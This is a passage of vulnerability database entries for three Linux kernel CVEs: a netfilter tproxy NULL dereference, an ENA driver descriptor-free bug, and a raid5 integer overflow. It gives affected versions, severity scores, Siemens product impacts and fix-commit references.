Linux	Linux	Affected: cc6eb433856983e91071469c4ce57accb6947ccb , < 10f0af5234dafd03d2b75233428ec3f11cf7e43d (git) Affected: cc6eb433856983e91071469c4ce57accb6947ccb , < 07eeedafc59c45fe5de43958128542be3784764c (git) Affected: cc6eb433856983e91071469c4ce57accb6947ccb , < 6fe5af4ff06db3d4d80e07a19356640428159f03 (git) Affected: cc6eb433856983e91071469c4ce57accb6947ccb , < caf3a8afb5ea00db6d5398adf148d5534615fd80 (git) Affected: cc6eb433856983e91071469c4ce57accb6947ccb , < 570b4c52096e62fda562448f5760fd0ff06110f0 (git) Affected: cc6eb433856983e91071469c4ce57accb6947ccb , < 819bfeca16eb9ad647ddcae25e7e12c30612147c (git) Affected: cc6eb433856983e91071469c4ce57accb6947ccb , < 21a673bddc8fd4873c370caf9ae70ffc6d47e8d3 (git)
Linux	Linux	Affected: 2.6.37 Unaffected: 0 , < 2.6.37 (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:37:04.470Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/10f0af5234dafd03d2b75233428ec3f11cf7e43d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/07eeedafc59c45fe5de43958128542be3784764c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6fe5af4ff06db3d4d80e07a19356640428159f03"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/caf3a8afb5ea00db6d5398adf148d5534615fd80"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/570b4c52096e62fda562448f5760fd0ff06110f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/819bfeca16eb9ad647ddcae25e7e12c30612147c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/21a673bddc8fd4873c370caf9ae70ffc6d47e8d3"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36270",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:09:41.037239Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:46.135Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:40.983Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/netfilter/nf_tproxy_ipv4.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "10f0af5234dafd03d2b75233428ec3f11cf7e43d",
              "status": "affected",
              "version": "cc6eb433856983e91071469c4ce57accb6947ccb",
              "versionType": "git"
            },
            {
              "lessThan": "07eeedafc59c45fe5de43958128542be3784764c",
              "status": "affected",
              "version": "cc6eb433856983e91071469c4ce57accb6947ccb",
              "versionType": "git"
            },
            {
              "lessThan": "6fe5af4ff06db3d4d80e07a19356640428159f03",
              "status": "affected",
              "version": "cc6eb433856983e91071469c4ce57accb6947ccb",
              "versionType": "git"
            },
            {
              "lessThan": "caf3a8afb5ea00db6d5398adf148d5534615fd80",
              "status": "affected",
              "version": "cc6eb433856983e91071469c4ce57accb6947ccb",
              "versionType": "git"
            },
            {
              "lessThan": "570b4c52096e62fda562448f5760fd0ff06110f0",
              "status": "affected",
              "version": "cc6eb433856983e91071469c4ce57accb6947ccb",
              "versionType": "git"
            },
            {
              "lessThan": "819bfeca16eb9ad647ddcae25e7e12c30612147c",
              "status": "affected",
              "version": "cc6eb433856983e91071469c4ce57accb6947ccb",
              "versionType": "git"
            },
            {
              "lessThan": "21a673bddc8fd4873c370caf9ae70ffc6d47e8d3",
              "status": "affected",
              "version": "cc6eb433856983e91071469c4ce57accb6947ccb",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/netfilter/nf_tproxy_ipv4.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.37"
            },
            {
              "lessThan": "2.6.37",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: tproxy: bail out if IP has been disabled on the device\n\nsyzbot reports:\ngeneral protection fault, probably for non-canonical address 0xdffffc0000000003: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]\n[..]\nRIP: 0010:nf_tproxy_laddr4+0xb7/0x340 net/ipv4/netfilter/nf_tproxy_ipv4.c:62\nCall Trace:\n nft_tproxy_eval_v4 net/netfilter/nft_tproxy.c:56 [inline]\n nft_tproxy_eval+0xa9a/0x1a00 net/netfilter/nft_tproxy.c:168\n\n__in_dev_get_rcu() can return NULL, so check for this."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:04.156Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/10f0af5234dafd03d2b75233428ec3f11cf7e43d"
        },
        {
          "url": "https://git.kernel.org/stable/c/07eeedafc59c45fe5de43958128542be3784764c"
        },
        {
          "url": "https://git.kernel.org/stable/c/6fe5af4ff06db3d4d80e07a19356640428159f03"
        },
        {
          "url": "https://git.kernel.org/stable/c/caf3a8afb5ea00db6d5398adf148d5534615fd80"
        },
        {
          "url": "https://git.kernel.org/stable/c/570b4c52096e62fda562448f5760fd0ff06110f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/819bfeca16eb9ad647ddcae25e7e12c30612147c"
        },
        {
          "url": "https://git.kernel.org/stable/c/21a673bddc8fd4873c370caf9ae70ffc6d47e8d3"
        }
      ],
      "title": "netfilter: tproxy: bail out if IP has been disabled on the device",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36270",
    "datePublished": "2024-06-21T10:18:07.026Z",
    "dateReserved": "2024-06-21T10:13:16.302Z",
    "dateUpdated": "2026-05-12T11:53:40.983Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35958 (GCVE-0-2024-35958)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

net: ena: Fix incorrect descriptor free behavior

Summary

In the Linux kernel, the following vulnerability has been resolved: net: ena: Fix incorrect descriptor free behavior ENA has two types of TX queues: - queues which only process TX packets arriving from the network stack - queues which only process TX packets forwarded to it by XDP_REDIRECT or XDP_TX instructions The ena_free_tx_bufs() cycles through all descriptors in a TX queue and unmaps + frees every descriptor that hasn't been acknowledged yet by the device (uncompleted TX transactions). The function assumes that the processed TX queue is necessarily from the first category listed above and ends up using napi_consume_skb() for descriptors belonging to an XDP specific queue. This patch solves a bug in which, in case of a VF reset, the descriptors aren't freed correctly, leading to crashes.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/b26aa765f7437e1bb…
https://git.kernel.org/stable/c/fdfbf54d128ab6ab2…
https://git.kernel.org/stable/c/19ff8fed3338898b7…
https://git.kernel.org/stable/c/5c7f2240d9835a782…
https://git.kernel.org/stable/c/c31baa07f01307b7a…
https://git.kernel.org/stable/c/bf02d9fe00632d22f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 548c4940b9f1f527f81509468dd60b61418880b6 , < b26aa765f7437e1bbe8db4c1641b12bd5dd378f0 (git) Affected: 548c4940b9f1f527f81509468dd60b61418880b6 , < fdfbf54d128ab6ab255db138488f9650485795a2 (git) Affected: 548c4940b9f1f527f81509468dd60b61418880b6 , < 19ff8fed3338898b70b2aad831386c78564912e1 (git) Affected: 548c4940b9f1f527f81509468dd60b61418880b6 , < 5c7f2240d9835a7823d87f7460d8eae9f4e504c7 (git) Affected: 548c4940b9f1f527f81509468dd60b61418880b6 , < c31baa07f01307b7ae05f3ce32b89d8e2ba0cc1d (git) Affected: 548c4940b9f1f527f81509468dd60b61418880b6 , < bf02d9fe00632d22fa91d34749c7aacf397b6cde (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35958",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-29T18:17:10.294133Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-31T20:13:03.442Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.187Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b26aa765f7437e1bbe8db4c1641b12bd5dd378f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fdfbf54d128ab6ab255db138488f9650485795a2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/19ff8fed3338898b70b2aad831386c78564912e1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5c7f2240d9835a7823d87f7460d8eae9f4e504c7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c31baa07f01307b7ae05f3ce32b89d8e2ba0cc1d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bf02d9fe00632d22fa91d34749c7aacf397b6cde"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:12.038Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/amazon/ena/ena_netdev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b26aa765f7437e1bbe8db4c1641b12bd5dd378f0",
              "status": "affected",
              "version": "548c4940b9f1f527f81509468dd60b61418880b6",
              "versionType": "git"
            },
            {
              "lessThan": "fdfbf54d128ab6ab255db138488f9650485795a2",
              "status": "affected",
              "version": "548c4940b9f1f527f81509468dd60b61418880b6",
              "versionType": "git"
            },
            {
              "lessThan": "19ff8fed3338898b70b2aad831386c78564912e1",
              "status": "affected",
              "version": "548c4940b9f1f527f81509468dd60b61418880b6",
              "versionType": "git"
            },
            {
              "lessThan": "5c7f2240d9835a7823d87f7460d8eae9f4e504c7",
              "status": "affected",
              "version": "548c4940b9f1f527f81509468dd60b61418880b6",
              "versionType": "git"
            },
            {
              "lessThan": "c31baa07f01307b7ae05f3ce32b89d8e2ba0cc1d",
              "status": "affected",
              "version": "548c4940b9f1f527f81509468dd60b61418880b6",
              "versionType": "git"
            },
            {
              "lessThan": "bf02d9fe00632d22fa91d34749c7aacf397b6cde",
              "status": "affected",
              "version": "548c4940b9f1f527f81509468dd60b61418880b6",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/amazon/ena/ena_netdev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ena: Fix incorrect descriptor free behavior\n\nENA has two types of TX queues:\n- queues which only process TX packets arriving from the network stack\n- queues which only process TX packets forwarded to it by XDP_REDIRECT\n  or XDP_TX instructions\n\nThe ena_free_tx_bufs() cycles through all descriptors in a TX queue\nand unmaps + frees every descriptor that hasn\u0027t been acknowledged yet\nby the device (uncompleted TX transactions).\nThe function assumes that the processed TX queue is necessarily from\nthe first category listed above and ends up using napi_consume_skb()\nfor descriptors belonging to an XDP specific queue.\n\nThis patch solves a bug in which, in case of a VF reset, the\ndescriptors aren\u0027t freed correctly, leading to crashes."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:29.797Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b26aa765f7437e1bbe8db4c1641b12bd5dd378f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/fdfbf54d128ab6ab255db138488f9650485795a2"
        },
        {
          "url": "https://git.kernel.org/stable/c/19ff8fed3338898b70b2aad831386c78564912e1"
        },
        {
          "url": "https://git.kernel.org/stable/c/5c7f2240d9835a7823d87f7460d8eae9f4e504c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c31baa07f01307b7ae05f3ce32b89d8e2ba0cc1d"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf02d9fe00632d22fa91d34749c7aacf397b6cde"
        }
      ],
      "title": "net: ena: Fix incorrect descriptor free behavior",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35958",
    "datePublished": "2024-05-20T09:41:50.585Z",
    "dateReserved": "2024-05-17T13:50:33.136Z",
    "dateUpdated": "2026-05-12T11:53:12.038Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-23307 (GCVE-0-2024-23307)

Vulnerability from cvelistv5 – Published: 2024-01-25 06:59 – Updated: 2026-05-12 11:49

Title

Integer overflow in raid5_cache_count in Linux kernel

Summary

Integer Overflow or Wraparound vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (md, raid, raid5 modules) allows Forced Integer Overflow.

Severity ?

4.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

Assigner

Anolis

References

1 reference

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=7975

Impacted products

1 product

Vendor	Product	Version
Linux	Linux kernel	Affected: v4.1-rc1 , < v6.8-rc1 (custom)

Date Public ?

2024-01-19 02:00

Credits

Gui-Dong Han <2045gemini@gmail.com>

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T22:59:32.237Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=7975"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-23307",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-01-25T20:01:15.650200Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-06-17T21:19:30.512Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:10.647Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://mirrors.openanolis.cn/anolis/",
          "defaultStatus": "unaffected",
          "modules": [
            "md",
            "raid",
            "raid5"
          ],
          "packageName": "kernel",
          "platforms": [
            "Linux",
            "x86",
            "ARM"
          ],
          "product": "Linux kernel",
          "programFiles": [
            "https://gitee.com/anolis/cloud-kernel/blob/devel-4.19/drivers/md/raid5.c"
          ],
          "repo": "https://gitee.com/anolis/cloud-kernel.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "v6.8-rc1",
              "status": "affected",
              "version": "v4.1-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Gui-Dong Han \u003c2045gemini@gmail.com\u003e"
        }
      ],
      "datePublic": "2024-01-19T02:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Integer Overflow or Wraparound vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (md, raid, raid5 modules) allows Forced Integer Overflow."
            }
          ],
          "value": "Integer Overflow or Wraparound vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (md, raid, raid5 modules) allows Forced Integer Overflow."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-92",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-92 Forced Integer Overflow"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190 Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-01-25T06:59:37.190Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=7975"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://patchwork.kernel.org/project/linux-raid/patch/20240112071017.16313-1-2045gemini@gmail.com/\"\u003ehttps://patchwork.kernel.org/project/linux-raid/patch/20240112071017.16313-1-2045gemini@gmail.com/\u003c/a\u003e"
            }
          ],
          "value": " https://patchwork.kernel.org/project/linux-raid/patch/20240112071017.16313-1-2045gemini@gmail.com/ https://patchwork.kernel.org/project/linux-raid/patch/20240112071017.16313-1-2045gemini@gmail.com/ "
        }
      ],
      "source": {
        "discovery": "INTERNAL"
      },
      "title": "Integer overflow in raid5_cache_count in Linux kernel",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
